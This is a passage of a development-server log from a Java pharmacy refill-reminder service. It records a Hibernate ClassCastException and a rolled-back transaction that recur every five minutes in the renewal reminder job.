ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at 